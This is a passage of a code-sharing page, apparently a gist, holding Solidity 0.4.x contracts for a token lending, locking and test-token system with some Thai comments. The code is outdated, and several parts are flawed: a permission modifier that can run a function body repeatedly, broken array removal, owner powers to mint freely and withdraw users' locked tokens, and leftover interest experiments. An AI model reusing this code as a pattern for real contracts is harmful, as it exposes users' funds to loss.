| uint256 paidPrincipal = 0; | |
| //ส่วนที่ต้องโอนคืนกรณีชำระเกินมา** | |
| //ยอดที่ชำระส่วนเงินต้น | |
| uint256 sumPaid = 0; | |
| Collateral_Interface(_lock).transferDepositFund(_like, msg.sender, borrower.principal, 0); | |
| //โอนดอกเบี้ยไปให้แอดเดรสนี้เก็บ | |
| ERC20_Interface(_like).transferFrom(msg.sender, address(InterestorKeep), dept); | |
| paidPrincipal = 0; | |
| balance = balance.add(borrower.principal); | |
| totalIncome = totalIncome.add(dept); | |
| sumPaid = borrower.principal; | |
| //ปรับสถานะเป็นไม่มีหนี้ | |
| borrower.isActive = statusLoan.INACTIVE; | |
| removeUser(); | |
| borrower.repayPrincipal = borrower.repayPrincipal.add(sumPaid); | |
| borrower.repayInterest = borrower.repayInterest.add(dept); | |
| borrower.startTime = now; | |
| borrower.principal = paidPrincipal; | |
| contractLoans[msg.sender] = borrower; | |
| RePay(msg.sender, _like, _lock, sumPaid, dept); | |
| return true; | |
| } | |
| //contract lock & lending | |
| function calculateInterest() public pure returns (uint256) { | |
| // 1000000000000000000000*50000000000000000/1000000000000000000 | |
| uint256 principal = 1000*10**18; | |
| uint256 ratio = principal.interateRate(5*10**16).div(1000000000000000000); | |
| //5% | |
| ratio = 50000000000000000; | |
| //1000*(1+8/100)**10 | |
| // uint256 interest = priciple.mul(((1*10**18)+ratio)**3); | |
| // uint256 interest = 1000*10**18*(1+8*10**18/100)**3; | |
| // principal = principal.add(ratio.mulDiv(principal, 10^18)); | |
| ratio = ratio/31556952; | |
| ratio = ratio.mul(31556952); | |
| principal = principal.add(ratio.mulDiv(principal, 1000000000000000000)); | |
| return principal; | |
| } | |
| function calculatePercentage() public view returns (uint256) { | |
| uint256 principal = 1000*10**18; | |
| uint256 ratio = principal.interateRate(limitLoan*10**16).div(1000000000000000000); | |
| return ratio; | |
| } | |
| } | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.11; | |
| /** | |
| * Math operations with safety checks | |
| */ | |
| library SafeMath { | |
| function mul(uint a, uint b) internal returns (uint) { | |
| uint c = a * b; | |
| assert(a == 0 || c / a == b); | |
| return c; | |
| } | |
| function div(uint a, uint b) internal returns (uint) { | |
| // assert(b > 0); // Solidity automatically throws when dividing by 0 | |
| uint c = a / b; | |
| // assert(a == b * c + a % b); // There is no case in which this doesn't hold | |
| return c; | |
| } | |
| function sub(uint a, uint b) internal returns (uint) { | |
| assert(b <= a); | |
| return a - b; | |
| } | |
| function add(uint a, uint b) internal returns (uint) { | |
| uint c = a + b; | |
| assert(c >= a); | |
| return c; | |
| } | |
| function max64(uint64 a, uint64 b) internal constant returns (uint64) { | |
| return a >= b ? a : b; | |
| } | |
| function min64(uint64 a, uint64 b) internal constant returns (uint64) { | |
| return a < b ? a : b; | |
| } | |
| function max256(uint256 a, uint256 b) internal constant returns (uint256) { | |
| return a >= b ? a : b; | |
| } | |
| function min256(uint256 a, uint256 b) internal constant returns (uint256) { | |
| return a < b ? a : b; | |
| } | |
| function assert(bool assertion) internal { | |
| if (!assertion) { | |
| throw; | |
| } | |
| } | |
| } | |
| /** | |
| * @title ERC20Basic | |
| * @dev Simpler version of ERC20 interface | |
| * @dev see https://github.com/ethereum/EIPs/issues/20 | |
| */ | |
| contract ERC20Basic { | |
| uint public totalSupply; | |
| function balanceOf(address who) constant returns (uint); | |
| function transfer(address to, uint value); | |
| event Transfer(address indexed from, address indexed to, uint value); | |
| } | |
| /** | |
| * @title Basic token | |
| * @dev Basic version of StandardToken, with no allowances. | |
| */ | |
| contract BasicToken is ERC20Basic { | |
| using SafeMath for uint; | |
| mapping(address => uint) balances; | |
| /** | |
| * @dev Fix for the ERC20 short address attack. | |
| */ | |
| modifier onlyPayloadSize(uint size) { | |
| if(msg.data.length < size + 4) { | |
| throw; | |
| } | |
| _; | |
| } | |
| /** | |
| * @dev transfer token for a specified address | |
| * @param _to The address to transfer to. | |
| * @param _value The amount to be transferred. | |
| */ | |
| function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { | |
| balances[msg.sender] = balances[msg.sender].sub(_value); | |
| balances[_to] = balances[_to].add(_value); | |
| Transfer(msg.sender, _to, _value); | |
| } | |
| /** | |
| * @dev Gets the balance of the specified address. | |
| * @param _owner The address to query the the balance of. | |
| * @return An uint representing the amount owned by the passed address. | |
| */ | |
| function balanceOf(address _owner) constant returns (uint balance) { | |
| return balances[_owner]; | |
| } | |
| } | |
| /** | |
| * @title ERC20 interface | |
| * @dev see https://github.com/ethereum/EIPs/issues/20 | |
| */ | |
| contract ERC20 is ERC20Basic { | |
| function allowance(address owner, address spender) constant returns (uint); | |
| function transferFrom(address from, address to, uint value); | |
| function approve(address spender, uint value); | |
| event Approval(address indexed owner, address indexed spender, uint value); | |
| } | |
| /** | |
| * @title Standard ERC20 token | |
| * | |
| * @dev Implemantation of the basic standart token. | |
| * @dev https://github.com/ethereum/EIPs/issues/20 | |
| * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol | |
| */ | |
| contract StandardToken is BasicToken, ERC20 { | |
| mapping (address => mapping (address => uint)) allowed; | |
| /** | |
| * @dev Transfer tokens from one address to another | |
| * @param _from address The address which you want to send tokens from | |
| * @param _to address The address which you want to transfer to | |
| * @param _value uint the amout of tokens to be transfered | |
| */ | |
| function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { | |
| var _allowance = allowed[_from][msg.sender]; | |
| // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met | |
| // if (_value > _allowance) throw; | |
| balances[_to] = balances[_to].add(_value); | |
| balances[_from] = balances[_from].sub(_value); | |
| allowed[_from][msg.sender] = _allowance.sub(_value); | |
| Transfer(_from, _to, _value); | |
| } | |
| /** | |
| * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. | |
| * @param _spender The address which will spend the funds. | |
| * @param _value The amount of tokens to be spent. | |
| */ | |
| function approve(address _spender, uint _value) { | |
| // To change the approve amount you first have to reduce the addresses` | |
| // allowance to zero by calling `approve(_spender, 0)` if it is not | |
| // already 0 to mitigate the race condition described here: | |
| // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 | |
| if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; | |
| allowed[msg.sender][_spender] = _value; | |
| Approval(msg.sender, _spender, _value); | |
| } | |
| /** | |
| * @dev Function to check the amount of tokens than an owner allowed to a spender. | |
| * @param _owner address The address which owns the funds. | |
| * @param _spender address The address which will spend the funds. | |
| * @return A uint specifing the amount of tokens still avaible for the spender. | |
| */ | |
| function allowance(address _owner, address _spender) constant returns (uint remaining) { | |
| return allowed[_owner][_spender]; | |
| } | |
| } | |
| /** | |
| * @title Ownable | |
| * @dev The Ownable contract has an owner address, and provides basic authorization control | |
| * functions, this simplifies the implementation of "user permissions". | |
| */ | |
| contract Ownable { | |
| address public owner; | |
| /** | |
| * @dev The Ownable constructor sets the original `owner` of the contract to the sender | |
| * account. | |
| */ | |
| function Ownable() { | |
| owner = msg.sender; | |
| } | |
| /** | |
| * @dev Throws if called by any account other than the owner. | |
| */ | |
| modifier onlyOwner() { | |
| if (msg.sender != owner) { | |
| throw; | |
| } | |
| _; | |
| } | |
| /** | |
| * @dev Allows the current owner to transfer control of the contract to a newOwner. | |
| * @param newOwner The address to transfer ownership to. | |
| */ | |
| function transferOwnership(address newOwner) onlyOwner { | |
| if (newOwner != address(0)) { | |
| owner = newOwner; | |
| } | |
| } | |
| } | |
| /** | |
| * @title Mintable token | |
| * @dev Simple ERC20 Token example, with mintable token creation | |
| * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 | |
| * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol | |
| */ | |
| contract MintableToken is StandardToken, Ownable { | |
| event Mint(address indexed to, uint value); | |
| event MintMore(address indexed to, uint value); | |
| event BurnToken(address indexed to, uint value); | |
| event MintFinished(); | |
| bool public mintingFinished = false; | |
| uint public totalSupply = 0; | |
| modifier canMint() { | |
| if(mintingFinished) throw; | |
| _; | |
| } | |
| /** | |
| * @dev Function to mint tokens | |
| * @param _to The address that will recieve the minted tokens. | |
| * @param _amount The amount of tokens to mint. | |
| * @return A boolean that indicates if the operation was successful. | |
| */ | |
| function mint(address _to, uint _amount) onlyOwner canMint returns (bool) { | |
| totalSupply = totalSupply.add(_amount); | |
| balances[_to] = balances[_to].add(_amount); | |
| Mint(_to, _amount); | |
| return true; | |
| } | |
| function addMint(uint _amount) onlyOwner returns (bool){ | |
| totalSupply = totalSupply.add(_amount); | |
| balances[msg.sender] = balances[msg.sender].add(_amount); | |
| MintMore(msg.sender, _amount); | |
| return true; | |
| } | |
| function burnToken(uint _amount) returns (bool) { | |
| totalSupply = totalSupply.sub(_amount); | |
| balances[msg.sender] = balances[msg.sender].sub(_amount); | |
| require(balances[msg.sender] >= 0); | |
| BurnToken(msg.sender, _amount); | |
| return true; | |
| } | |
| /** | |
| * @dev Function to stop minting new tokens. | |
| * @return True if the operation was successful. | |
| */ | |
| function finishMinting() onlyOwner returns (bool) { | |
| mintingFinished = true; | |
| MintFinished(); | |
| return true; | |
| } | |
| } | |
| /** | |
| * @title Pausable | |
| * @dev Base contract which allows children to implement an emergency stop mechanism. | |
| */ | |
| contract Pausable is Ownable { | |
| event Pause(); | |
| event Unpause(); | |
| bool public paused = false; | |
| /** | |
| * @dev modifier to allow actions only when the contract IS paused | |
| */ | |
| modifier whenNotPaused() { | |
| if (paused) throw; | |
| _; | |
| } | |
| /** | |
| * @dev modifier to allow actions only when the contract IS NOT paused | |
| */ | |
| modifier whenPaused { | |
| if (!paused) throw; | |
| _; | |
| } | |
| /** | |
| * @dev called by the owner to pause, triggers stopped state | |
| */ | |
| function pause() onlyOwner whenNotPaused returns (bool) { | |
| paused = true; | |
| Pause(); | |
| return true; | |
| } | |
| /** | |
| * @dev called by the owner to unpause, returns to normal state | |
| */ | |
| function unpause() onlyOwner whenPaused returns (bool) { | |
| paused = false; | |
| Unpause(); | |
| return true; | |
| } | |
| } | |
| /** | |
| * Pausable token | |
| * | |
| * Simple ERC20 Token example, with pausable token creation | |
| **/ | |
| contract PausableToken is StandardToken, Pausable { | |
| function transfer(address _to, uint _value) whenNotPaused { | |
| super.transfer(_to, _value); | |
| } | |
| function transferFrom(address _from, address _to, uint _value) whenNotPaused { | |
| super.transferFrom(_from, _to, _value); | |
| } | |
| } | |
| /** | |
| * @title TokenTimelock | |
| * @dev TokenTimelock is a token holder contract that will allow a | |
| * beneficiary to extract the tokens after a time has passed | |
| */ | |
| contract TokenTimelock { | |
| // ERC20 basic token contract being held | |
| ERC20Basic token; | |
| // beneficiary of tokens after they are released | |
| address beneficiary; | |
| // timestamp where token release is enabled | |
| uint releaseTime; | |
| function TokenTimelock(ERC20Basic _token, address _beneficiary, uint _releaseTime) { | |
| require(_releaseTime > now); | |
| token = _token; | |
| beneficiary = _beneficiary; | |
| releaseTime = _releaseTime; | |
| } | |
| /** | |
| * @dev beneficiary claims tokens held by time lock | |
| */ | |
| function claim() { | |
| require(msg.sender == beneficiary); | |
| require(now >= releaseTime); | |
| uint amount = token.balanceOf(this); | |
| require(amount > 0); | |
| token.transfer(beneficiary, amount); | |
| } | |
| } | |
| /** | |
| * @title OMGToken | |
| * @dev Omise Go Token contract | |
| */ | |
| contract LIKEPOINT is PausableToken, MintableToken { | |
| using SafeMath for uint256; | |
| string public name = "LikepointTESTContract"; | |
| string public symbol = "LIKET"; | |
| uint public decimals = 18; | |
| /** | |
| * @dev mint timelocked tokens | |
| */ | |
| function mintTimelocked(address _to, uint256 _amount, uint256 _releaseTime) | |
| onlyOwner canMint returns (TokenTimelock) { | |
| TokenTimelock timelock = new TokenTimelock(this, _to, _releaseTime); | |
| mint(timelock, _amount); | |
| return timelock; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.19; | |
| library SafeMath { | |
| function mul(uint a, uint b) internal pure returns (uint) { | |
| uint c = a * b; | |
| assert(a == 0 || c / a == b); | |
| return c; | |
| } | |
| function div(uint a, uint b) internal pure returns (uint) { | |
| // assert(b > 0); // Solidity automatically throws when dividing by 0 | |
| uint c = a / b; | |
| // assert(a == b * c + a % b); // There is no case in which this doesn't hold | |
| return c; | |
| } | |
| function sub(uint a, uint b) internal pure returns (uint) { | |
| assert(b <= a); | |
| return a - b; | |
| } | |
| function add(uint a, uint b) internal pure returns (uint) { | |
| uint c = a + b; | |
| assert(c >= a); | |
| return c; | |
| } | |
| function max64(uint64 a, uint64 b) internal pure returns (uint64) { | |
| return a >= b ? a : b; | |
| } | |
| function min64(uint64 a, uint64 b) internal pure returns (uint64) { | |
| return a < b ? a : b; | |
| } | |
| function max256(uint256 a, uint256 b) internal pure returns (uint256) { | |
| return a >= b ? a : b; | |
| } | |
| function min256(uint256 a, uint256 b) internal pure returns (uint256) { | |
| return a < b ? a : b; | |
| } | |
| function percent(uint numerator, uint denominator) internal pure returns(uint quotient) { | |
| // caution, check safe-to-multiply here | |
| uint _numerator = numerator * 10 ** (10); | |
| // with rounding of last digit | |
| uint _quotient = ((_numerator / denominator)) / 10; | |
| return ( _quotient); | |
| } | |
| } | |
| contract ERC20_Interface { | |
| function totalSupply() public view returns (uint); | |
| function balanceOf(address tokenOwner) public view returns (uint balance); | |
| function allowance(address tokenOwner, address spender) public view returns (uint remaining); | |
| function transfer(address to, uint tokens) public returns (bool success); | |
| function approve(address spender, uint tokens) public returns (bool success); | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success); | |
| event Transfer(address indexed from, address indexed to, uint tokens); | |
| event Approval(address indexed tokenOwner, address indexed spender, uint tokens); | |
| } | |
| contract Ownable { | |
| address public owner; | |
| address public waitNewOwner; | |
| event transferOwner(address newOwner); | |
| function Ownable() public{ | |
| owner = msg.sender; | |
| } | |
| /** | |
| * @dev The Ownable constructor sets the original `owner` of the contract to the sender | |
| * account. | |
| */ | |
| /** | |
| * @dev Throws if called by any account other than the owner. | |
| */ | |
| modifier onlyOwner() { | |
| require(owner == msg.sender); | |
| _; | |
| } | |
| /** | |
| * @dev Allows the current owner to transfer control of the contract to a newOwner. | |
| * @param newOwner The address to transfer ownership to. | |
| * and safe new contract new owner will be accept owner | |
| */ | |
| function transferOwnership(address newOwner) onlyOwner public { | |
| if (newOwner != address(0)) { | |
| waitNewOwner = newOwner; | |
| } | |
| } | |
| /** | |
| * this function accept when transfer to new owner and new owner will be accept owner for safe contract free owner | |
| */ | |
| function acceptOwnership() public { | |
| if(waitNewOwner == msg.sender) { | |
| owner = msg.sender; | |
| transferOwner(msg.sender); | |
| }else{ | |
| revert(); | |
| } | |
| } | |
| } | |
| contract LenderOwner is Ownable { | |
| address[] public ownerLender; | |
| address[] public reserveLender; | |
| event transferLenderOwner(address newLenderOwner); | |
| /** | |
| * @dev Throws if called by any account other than the owner. | |
| */ | |
| modifier onlyLenderOwner() { | |
| for(uint256 i=0;i<ownerLender.length;i++){ | |
| if(msg.sender == ownerLender[i]){ | |
| _; | |
| } | |
| } | |
| } | |
| /** | |
| * @dev Allows the current owner to transfer control of the contract to a newOwner. | |
| * @param newOwner The address to transfer ownership to. | |
| * and safe new contract new owner will be accept owner | |
| */ | |
| function updateLenderContract(address newOwner, uint256 number) onlyOwner public { | |
| if (newOwner != address(0)) { | |
| ownerLender[number] = newOwner; | |
| transferLenderOwner(newOwner); | |
| } | |
| } | |
| function addLenderContract(address lenderAddress) onlyOwner public { | |
| if(lenderAddress != (address(0))){ | |
| ownerLender.push(lenderAddress); | |
| } | |
| } | |
| function removeLenderContract(address _address) onlyOwner public returns (address[]) { | |
| for(uint256 i=0;i<ownerLender.length;i++){ | |
| reserveLender.push(ownerLender[i]); | |
| } | |
| for(uint256 v=0;v<reserveLender.length;v++){ | |
| if(ownerLender[v] != _address){ | |
| ownerLender[v] = reserveLender[v]; | |
| } | |
| } | |
| ownerLender.length--; | |
| delete reserveLender; | |
| return reserveLender; | |
| } | |
| function checkAdmin(address checker) onlyLenderOwner public returns (bool){ | |
| return true; | |
| } | |
| function totalLenderContract() public view returns (uint256) { | |
| return ownerLender.length; | |
| } | |
| function listLenderContract() public view returns (address[]) { | |
| return ownerLender; | |
| } | |
| } | |
| contract LockERC20 is LenderOwner { | |
| enum statusWithdraw { | |
| INACTIVE, | |
| ACTIVE | |
| } | |
| enum statusLockTransfer { | |
| ACTIVE, | |
| INACTIVE | |
| } | |
| struct lockToken { | |
| address token; | |
| uint256 expire; | |
| uint256 block; | |
| uint256 start; | |
| uint256 amount; | |
| uint256 amountUnlock; | |
| statusLockTransfer isTransfer; | |
| statusWithdraw isWithdraw; | |
| } | |
| struct timeLock { | |
| address token; | |
| uint256 expire; | |
| uint256 block; | |
| uint256 start; | |
| uint256 amount; | |
| statusWithdraw isWithdraw; | |
| uint256 round; | |
| } | |
| using SafeMath for uint; | |
| // mapping (address => mapping (address => uint256)) public tokens; | |
| mapping (address => mapping(address => lockToken)) public tokens; | |
| mapping (address => mapping(address => timeLock)) public timelockhold; | |
| mapping (address => uint256) public balanceToken; | |
| mapping (address => uint256) public activeLock; | |
| uint256 public isExpire = 1 days; | |
| event DepositToken(address contractAddress, address sender, uint256 amount, uint256 expire); | |
| event WithdrawToken(address contractAddress, address sender, uint256 amount); | |
| event WithdrawToken(address contractAddress, address sender, uint256 amount, uint256 amountexists); | |
| event AdminWithdrawToken(address contractAddress, address sender, uint256 amount, string message); | |
| event RequestWithdraw(address contractAddress, address sender); | |
| function setExpire(uint256 expire) onlyOwner public{ | |
| isExpire = expire; | |
| } | |
| function depositTimeLock(address likeAddr, address holder, uint amount, uint256 lockto) public returns (bool){ | |
| if(amount > ERC20_Interface(likeAddr).allowance(msg.sender, address(this))) { | |
| revert(); | |
| } | |
| ERC20_Interface(likeAddr).transferFrom(msg.sender, address(this), amount); | |
| timeLock memory holderLock = timelockhold[likeAddr][holder]; | |
| holderLock.token = likeAddr; | |
| holderLock.expire = now.add(lockto); | |
| holderLock.block = block.number; | |
| holderLock.start = now; | |
| holderLock.amount = holderLock.amount.add(amount); | |
| holderLock.isWithdraw = statusWithdraw.INACTIVE; | |
| timelockhold[likeAddr][holder] = holderLock; | |
| balanceToken[likeAddr] = balanceToken[likeAddr].add(amount); | |
| activeLock[likeAddr] = activeLock[likeAddr].add(amount); | |
| DepositToken(likeAddr, msg.sender, amount, lockto); | |
| return true; | |
| } | |
| function withdrawTimeLock(address likeAddr, uint amount) public returns (bool){ | |
| timeLock memory holderLock = timelockhold[likeAddr][msg.sender]; | |
| require(now > holderLock.expire); | |
| require(amount <= holderLock.amount); | |
| holderLock.amount = holderLock.amount.sub(amount); | |
| timelockhold[likeAddr][msg.sender] = holderLock; | |
| balanceToken[likeAddr]= balanceToken[likeAddr].sub(amount); | |
| activeLock[likeAddr] = activeLock[likeAddr].sub(amount); | |
| ERC20_Interface(likeAddr).transfer(msg.sender, amount); | |
| WithdrawToken(likeAddr, msg.sender, amount); | |
| return true; | |
| } | |
| function depositToken(address likeAddr, uint amount, uint256 expire) public returns (bool){ | |
| if(amount > ERC20_Interface(likeAddr).allowance(msg.sender, address(this))) { | |
| revert(); | |
| } | |
| ERC20_Interface(likeAddr).transferFrom(msg.sender, address(this), amount); | |
| lockToken memory tokenData = tokens[likeAddr][msg.sender]; | |
| tokenData.token = likeAddr; | |
| tokenData.expire = now.add(expire); | |
| tokenData.block = block.number; | |
| tokenData.start = now; | |
| tokenData.amount = tokenData.amount.add(amount); | |
| tokenData.isWithdraw = statusWithdraw.INACTIVE; | |
| tokens[likeAddr][msg.sender] = tokenData; | |
| balanceToken[likeAddr] = balanceToken[likeAddr].add(amount); | |
| activeLock[likeAddr] = activeLock[likeAddr].add(amount); | |
| DepositToken(likeAddr, msg.sender, amount, expire); | |
| return true; | |
| } | |
| function requestWithdraw(address likeAddr, uint256 amount) public returns (bool){ | |
| lockToken memory tokenData = tokens[likeAddr][msg.sender]; | |
| require(tokenData.isWithdraw == statusWithdraw.INACTIVE); | |
| require(tokenData.isTransfer == statusLockTransfer.ACTIVE); | |
| require(tokenData.amount >= amount); | |
| tokenData.isWithdraw = statusWithdraw.ACTIVE; | |
| tokenData.expire = now.add(isExpire); | |
| tokenData.amountUnlock = amount; | |
| tokens[likeAddr][msg.sender] = tokenData; | |
| activeLock[likeAddr] = activeLock[likeAddr].sub(tokenData.amount); | |
| RequestWithdraw(likeAddr, msg.sender); | |
| return true; | |
| } | |
| function withdrawToken(address likeAddr) public returns (bool){ | |
| lockToken memory tokenData = tokens[likeAddr][msg.sender]; | |
| require(now > tokenData.expire); | |
| require(tokenData.amountUnlock <= tokenData.amount); | |
| require(tokenData.isWithdraw == statusWithdraw.ACTIVE); | |
| require(tokenData.isTransfer == statusLockTransfer.ACTIVE); | |
| if(tokenData.amountUnlock < tokenData.amount){ | |
| uint256 updateAmount = tokenData.amount.sub(tokenData.amountUnlock); | |
| activeLock[likeAddr] = activeLock[likeAddr].add(updateAmount); | |
| } | |
| tokenData.amount = tokenData.amount.sub(tokenData.amountUnlock); | |
| tokenData.isWithdraw = statusWithdraw.INACTIVE; | |
| tokens[likeAddr][msg.sender] = tokenData; | |
| balanceToken[likeAddr]= balanceToken[likeAddr].sub(tokenData.amountUnlock); | |
| ERC20_Interface(likeAddr).transfer(msg.sender, tokenData.amountUnlock); | |
| WithdrawToken(likeAddr, msg.sender, tokenData.amountUnlock, updateAmount); | |
| return true; | |
| } | |
| function getTransfer(address likeAddr, address _sender) public view returns (statusLockTransfer) { | |
| return tokens[likeAddr][_sender].isTransfer; | |
| } | |
| function getLock(address likeAddr, address _sender) public view returns (uint256){ | |
| return tokens[likeAddr][_sender].amount; | |
| } | |
| function getAmountAll(address likeAddr, address _sender) public view returns (uint256){ | |
| return tokens[likeAddr][_sender].amount+timelockhold[likeAddr][_sender].amount; | |
| } | |
| function getWithdraw(address likeAddr, address _sender) public view returns (statusWithdraw) { | |
| return tokens[likeAddr][_sender].isWithdraw; | |
| } | |
| function getAmount(address likeAddr, address _sender) public view returns (uint256) { | |
| return tokens[likeAddr][_sender].amount; | |
| } | |
| function getDepositTime(address likeAddr, address _sender) public view returns (uint256) { | |
| return tokens[likeAddr][_sender].start; | |
| } | |
| function adminWithdrawToken(address likeAddr, uint amount, string message) onlyOwner public { | |
| require(amount <= balanceToken[likeAddr]); | |
| balanceToken[likeAddr] = balanceToken[likeAddr].sub(amount); | |
| ERC20_Interface(likeAddr).transfer(msg.sender, amount); | |
| AdminWithdrawToken(likeAddr, msg.sender, amount, message); | |
| } | |
| function getActiveLock(address likeAddr) public view returns (uint256) { | |
| return activeLock[likeAddr]; | |
| } | |
| } | |
| contract Lending is LockERC20 { | |
| event TransferWithdrawFund(address contractAddress, address sender, uint256 amount); | |
| event TransferDepositFund(address contractAddress, address sender, uint256 amount); | |
| mapping (address => uint256) public balanceLending; | |
| function adminClearBlacklist(address likeAddr, address borrower) onlyOwner public returns (bool){ | |
| lockToken memory tokenData = tokens[likeAddr][borrower]; | |
| tokenData.isTransfer = statusLockTransfer.ACTIVE; | |
| tokens[likeAddr][borrower] = tokenData; | |
| return true; | |
| } | |
| function transferWithdrawFund(address likeAddr, address borrower, uint amount) onlyLenderOwner public returns (bool) { | |
| //decrease balance of borrower | |
| lockToken memory tokenData = tokens[likeAddr][borrower]; | |
| tokenData.amount = tokenData.amount.sub(amount); | |
| tokenData.isTransfer = statusLockTransfer.INACTIVE; | |
| tokens[likeAddr][borrower] = tokenData; | |
| balanceToken[likeAddr] = balanceToken[likeAddr].sub(amount); | |
| balanceLending[likeAddr] = balanceLending[likeAddr].add(amount); | |
| ERC20_Interface(likeAddr).transfer(borrower, amount); | |
| TransferWithdrawFund(likeAddr, borrower, amount); | |
| return true; | |
| } | |
| function transferDepositFund(address likeAddr, address borrower, uint amount, uint canTransfer) onlyLenderOwner public returns (bool) { | |
| //increase balance of borrower | |
| lockToken memory tokenData = tokens[likeAddr][borrower]; | |
| tokenData.amount = tokenData.amount.add(amount); | |
| if(canTransfer == 1){ | |
| tokenData.isTransfer = statusLockTransfer.ACTIVE; | |
| } | |
| tokens[likeAddr][borrower] = tokenData; | |
| balanceToken[likeAddr] = balanceToken[likeAddr].add(amount); | |
| balanceLending[likeAddr] = balanceLending[likeAddr].sub(amount); | |
| ERC20_Interface(likeAddr).transferFrom(borrower, address(this), amount); | |
| TransferWithdrawFund(likeAddr, borrower, amount); | |
| return true; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.19; | |
| library SafeMath { | |
| function mul(uint a, uint b) internal pure returns (uint) { | |
| uint c = a * b; | |
| assert(a == 0 || c / a == b); | |
| return c; | |
| } | |
| function div(uint a, uint b) internal pure returns (uint) { | |
| // assert(b > 0); // Solidity automatically throws when dividing by 0 | |
| uint c = a / b; | |
| // assert(a == b * c + a % b); // There is no case in which this doesn't hold | |
| return c; | |
| } | |
| function sub(uint a, uint b) internal pure returns (uint) { | |
| assert(b <= a); | |
| return a - b; | |
| } | |
| function add(uint a, uint b) internal pure returns (uint) { | |
| uint c = a + b; | |
| assert(c >= a); | |
| return c; | |
| } | |
| function max64(uint64 a, uint64 b) internal pure returns (uint64) { | |
| return a >= b ? a : b; | |
| } | |
| function min64(uint64 a, uint64 b) internal pure returns (uint64) { | |
| return a < b ? a : b; | |
| } | |
| function max256(uint256 a, uint256 b) internal pure returns (uint256) { | |
| return a >= b ? a : b; | |
| } | |
| function min256(uint256 a, uint256 b) internal pure returns (uint256) { | |
| return a < b ? a : b; | |
| } | |
| } | |
| contract ERC20_Interface { | |
| function totalSupply() public view returns (uint); | |
| function balanceOf(address tokenOwner) public view returns (uint balance); | |
| function allowance(address tokenOwner, address spender) public view returns (uint remaining); | |
| function transfer(address to, uint tokens) public returns (bool success); | |
| function approve(address spender, uint tokens) public returns (bool success); | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success); | |
| event Transfer(address indexed from, address indexed to, uint tokens); | |
| event Approval(address indexed tokenOwner, address indexed spender, uint tokens); | |
| } | |
| contract Ownable { | |
| address public owner; | |
| address public waitNewOwner; | |
| event transferOwner(address newOwner); | |
| function Ownable() public{ | |
| owner = msg.sender; | |
| } | |
| /** | |
| * @dev The Ownable constructor sets the original `owner` of the contract to the sender | |
| * account. | |
| */ | |
| /** | |
| * @dev Throws if called by any account other than the owner. | |
| */ | |
| modifier onlyOwner() { | |
| require(owner == msg.sender); | |
| _; | |
| } | |
| /** | |
| * @dev Allows the current owner to transfer control of the contract to a newOwner. | |
| * @param newOwner The address to transfer ownership to. | |
| * and safe new contract new owner will be accept owner | |
| */ | |
| function transferOwnership(address newOwner) onlyOwner public { | |
| if (newOwner != address(0)) { | |
| waitNewOwner = newOwner; | |
| } | |
| } | |
| /** | |
| * this function accept when transfer to new owner and new owner will be accept owner for safe contract free owner | |
| */ | |
| function acceptOwnership() public { | |
| if(waitNewOwner == msg.sender) { | |
| owner = msg.sender; | |
| transferOwner(msg.sender); | |
| }else{ | |
| revert(); | |
| } | |
| } | |
| } | |
| contract LockERC20 is Ownable{ | |
| enum statusWithdraw { | |
| INACTIVE, | |
| ACTIVE | |
| } | |
| struct lockToken { | |
| address token; | |
| uint256 expire; | |
| uint256 block; | |
| uint256 start; | |
| uint256 amount; | |
| statusWithdraw isWithdraw; | |
| } | |
| struct timeLock { | |
| address token; | |
| uint256 expire; | |
| uint256 block; | |
| uint256 start; | |
| uint256 amount; | |
| statusWithdraw isWithdraw; | |
| uint256 round; | |
| } | |
| using SafeMath for uint; | |
| // mapping (address => mapping (address => uint256)) public tokens; | |
| mapping (address => mapping(address => lockToken)) public tokens; | |
| mapping (address => mapping(address => timeLock)) public timelockhold; | |
| mapping (address => uint256) public balanceToken; | |
| mapping (address => uint256) public activeLock; | |
| uint256 public isExpire = 1 days; | |
| event DepositToken(address contractAddress, address sender, uint256 amount, uint256 expire); | |
| event WithdrawToken(address contractAddress, address sender, uint256 amount); | |
| event AdminWithdrawToken(address contractAddress, address sender, uint256 amount, string message); | |
| event RequestWithdraw(address contractAddress, address sender); | |
| function setExpire(uint256 expire) onlyOwner public{ | |
| isExpire = expire; | |
| } | |
| function depositTimeLock(address likeAddr, address holder, uint amount, uint256 lockto) public returns (bool){ | |
| if(amount > ERC20_Interface(likeAddr).allowance(msg.sender, address(this))) { | |
| revert(); | |
| } | |
| ERC20_Interface(likeAddr).transferFrom(msg.sender, address(this), amount); | |
| timeLock memory holderLock = timelockhold[likeAddr][holder]; | |
| holderLock.token = likeAddr; | |
| holderLock.expire = now.add(lockto); | |
| holderLock.block = block.number; | |
| holderLock.start = now; | |
| holderLock.amount = holderLock.amount.add(amount); | |
| holderLock.isWithdraw = statusWithdraw.INACTIVE; | |
| timelockhold[likeAddr][holder] = holderLock; | |
| balanceToken[likeAddr] = balanceToken[likeAddr].add(amount); | |
| activeLock[likeAddr] = activeLock[likeAddr].add(amount); | |
| DepositToken(likeAddr, msg.sender, amount, lockto); | |
| return true; | |
| } | |
| function withdrawTimeLock(address likeAddr, uint amount) public returns (bool){ | |
| timeLock memory holderLock = timelockhold[likeAddr][msg.sender]; | |
| require(now > holderLock.expire); | |
| require(amount <= holderLock.amount); | |
